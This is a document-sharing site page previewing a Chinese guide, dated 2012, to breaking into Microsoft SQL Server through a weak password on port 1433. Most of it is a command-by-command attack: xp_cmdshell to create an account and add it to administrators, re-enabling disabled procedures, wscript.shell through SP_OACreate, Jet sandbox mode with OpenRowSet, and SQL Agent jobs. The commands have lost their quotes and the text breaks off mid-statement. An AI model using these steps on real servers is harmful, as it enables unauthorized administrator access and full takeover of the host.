1433 SQL Server 弱口令入侵方法大全.docx

1433 SQL Server 弱口令入侵方法大全.docx

  1. 1、本文档共7页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
1433 SQL Server 弱口令入侵方法大全

2012年4月28日Sql Server 弱口令入侵一、入侵条件:已得到 Sql server 弱口令,连接Sql Server 二、入侵方法: 方法一:exec xp_cmdshell net user test test /add ; ---使用 xp_cmdshell 函数创建 test用户exec xp_cmdshell net localgroup administrators test /add; ---提权test 用户为 超级管理员如果提示 xp_cmdshell 组件被禁止使用,想开启,使用语句:;EXECsp_configureshow advanced options, 1;RECONFIGURE;EXECsp_configurexp_cmdshell, 1;RECONFIGURE;--可以使用语句来查看 xp_cmdshell 存储过程是否被删除select count(*) from master.dbo.sysobjects where xtype=X and name=xp_cmdshell;如果被删除,可以使用如下语句来恢复(前提是 xplog70.dll 必须存在)exec sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll方法二:如果 xp_cmdshell 被删除或不能使用时,可以利用 SP_OACreate 或 SP_OAMETHOD 调用系统对象 wscript.shell 来执行命令,先用 SP_OACreate 调用wscript.shell ,并赋值变量,再由 SP_PAMETHOD 调用执行,语句如下:Declare @runshell INTExec SP_OACreate wscript.shell,@runshell out Exec SP_OAMETHOD @runshell,run,null,net user test test /add如果遇到被 SP_OACreate 被禁用,则使用如下语句恢复:sp_configure show advanced options, 1; GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GOEXEC sp_configure Ole Automation Procedures;GO方法三:使用沙盒模式,开启沙盒模式命令:exec master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SoftWare\Microsoft\Jet\4.0\Engines,SanBoxMode,REG_DWORD,0执行命令创建用户select*fromOpenRowSet(Microsoft.Jet,OLEDB,4.0,;DataBase=c:\windows\system32\ias\ias.mdb,select shell(net user test2 test2 /add))如果遇到 SQL Server 阻止了对组件Ad Hoc Distributed Queries 的STATEMENTOpenRowset/OpenDatasource 的访问执行:execsp_configureshow advanced options,1reconfigureexecsp_configureAd Hoc Distributed Queries,1reconfigure方法四:利用 sqlserveragent 服务,由于 sqlserveragent 服务默认是关闭的,需要利用 xp_servicecontrol 来启动启动命令:exec master.dbo.xp_servicecontrol start,sqlserveragent 如启动成功,则执行:USE msdbexecsp_add_job @job_name =GetSystemOnSQL,@enabled = 1,@description =This will give a low privileged user access to xp_cmdshell,@delete_level = 1 EXECsp_add_jobstep @job_name =GetSystemOnSQL,@step_name =Exec my sql,@subsystem =TSQL,@command =exec master..xp_execresultset Nselect exec master..xp_cmdshell dir c:/agent-job-results.txt,NMasterexecsp_add_jobserv

文档评论(0)

xcs88858 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:8130065136000003

1亿VIP精品文档

相关文档